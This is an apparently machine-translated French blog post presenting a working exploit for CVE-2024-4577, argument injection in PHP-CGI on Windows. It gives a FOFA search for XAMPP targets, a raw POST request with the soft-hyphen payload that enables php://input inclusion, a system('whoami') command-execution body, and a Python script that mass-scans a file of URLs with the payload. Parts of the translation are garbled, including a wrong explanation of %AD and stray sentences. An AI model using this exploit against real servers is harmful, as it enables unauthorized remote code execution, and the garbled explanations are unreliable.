2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Avertissement : ce document ou matériel de présentation est uniquement destiné à des fins éducatives et pédagogiques. Toute personne ou organisation qui utilise les informations contenues dans ce document à des fins illégales n'a aucun lien avec l'auteur ou l'éditeur de ce document.
PHP-CGI est une interface permettant d'exécuter des scripts PHP sur un serveur Web, connectant l'interpréteur PHP au serveur Web via CGI (Common Gateway Interface). PHP est conçu pour ignorer la conversion de caractères sous WindowsBest-Fit
fonctionnalité, lorsque PHP-CGI s'exécute sur la plateforme Windows et utilise les langues suivantes (Chinois simplifié 936/Chinois traditionnel 950/Japonais 932, etc.), l'attaquant peut construire des requêtes malveillantes pour contourner le patch CVE-2012-1823 , afin que l'attaquant puisse contourner le correctif CVE-2012-1823 sans se connecter. exécution de code PHP arbitraire.
1) Collecte d'informations
fofa :app="XAMPP"
Nous sommes un groupe de misérables qui luttons toujours contre le danger et la folie, mais nous sommes aussi des gardiens.
2) Construire un paquet de données
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip
<?php echo "hello world!";?>
Explication du code :
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Cette charge utile est un vecteur d'attaque PHP Remote Command Execution (RCE) codé en URL qui exploite les options de configuration PHP CGI pour réaliser l'exécution de code à distance. Voici une explication détaillée de la charge utile :
/php-cgi/php-cgi.exe
:
php-cgi.exe
. PHP CGI est un interpréteur PHP indépendant du serveur Web, généralement utilisé sur la ligne de commande ou exécuté en tant que script CGI.Encodage d'URL:
%AD
est un caractère de nouvelle lignen
Forme de codage d'URL, généralement utilisée pour insérer des nouvelles lignes dans les URL, qui peut être utilisée pour contourner le filtrage d'entrée dans certains cas.%3d
Oui=
Formulaire d'encodage d'URL, utilisé pour attribuer des valeurs aux variables.?%ADd+cgi.force_redirect%3d0
:
cgi.force_redirect
Une valeur de 0 désactive le comportement de redirection de PHP CGI. Ceci est généralement utilisé pour empêcher un script PHP de passer automatiquement à l'URL demandée d'origine après son exécution.+%ADd+cgi.redirect_status_env
:
cgi.redirect_status_env
, est une directive de la configuration PHP utilisée lorsque PHP s'exécute en tant que processus CGI ou FastCGI. .+allow_url_include%3d1
:
allow_url_include
Une valeur de 1 permet aux scripts PHP d'inclure des fichiers provenant d'URL. Il s'agit d'un risque de sécurité potentiel car cela permet à un attaquant d'inclure des fichiers distants via le chemin de fichier transmis dans l'URL.+auto_prepend_file%3dphp://input
:
auto_prepend_file
pourphp://input
. Cette option de configuration permet l'inclusion automatique d'un fichier avant l'exécution du script PHP.Lorsqu'il est réglé surphp://input
, il contiendra les données envoyées via la requête HTTP POST. Cela peut être utilisé pour exécuter du code PHP arbitraire, car un attaquant peut envoyer du code malveillant via une requête POST. En construisant cette charge utile, l'attaquant tente d'exploiter les options de configuration PHP CGI pour exécuter du code à distance.en définissantallow_url_include
etauto_prepend_file
, un attaquant peut envoyer une requête POST contenant du code PHP, qui sera automatiquement exécutée.
échohello world
, le code est analysé.
3) D'autres opérations peuvent également être effectuées
Exécuter une commande
<?php system('whoami');?>
Attention : des milliers de personnes ne font pas, ne font pas de choses illégales ! ! !
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning
# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'
# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
"""
检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
:param url: 待检查的URL字符串
"""
try:
# 构造攻击URL,利用漏洞进行尝试
attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
# 设置请求头信息
headers = {
'User-Agent': 'curl/8.3.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
# 设置请求体数据
payload = "<?php echo '666666';?>"
# 向服务器发送请求
response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
# 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
if response.status_code == 200 and '666666' in response.text:
print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
else:
print(f"URL [{url}] 未发现漏洞。")
except RequestException as e:
# 如果请求过程中发生异常,打印异常信息
print(f"URL [{url}] 请求失败: {e}")
def main():
"""
程序主入口。
解析命令行参数,根据参数执行漏洞检查。
"""
# 创建命令行参数解析器
parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
# 添加URL参数,指定目标URL
parser.add_argument('-u', '--url', help='指定目标URL')
# 添加文件参数,指定包含多个URL的文本文件
parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')
# 解析命令行参数
args = parser.parse_args()
# 如果指定了URL参数
if args.url:
# 如果URL未以http://或https://开头,则添加http://
args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
# 调用漏洞检查函数
check_vulnerability(args.url)
# 如果指定了文件参数
elif args.file:
# 打开文件,读取每行作为URL进行检查
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
# 处理URL,确保其以http://或https://开头
url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
# 调用漏洞检查函数
check_vulnerability(url)
if __name__ == '__main__':
main()
Exécuter une capture d'écran
Le petit lotus vient de dévoiler ses angles vifs, et une libellule s'est déjà dressée dessus.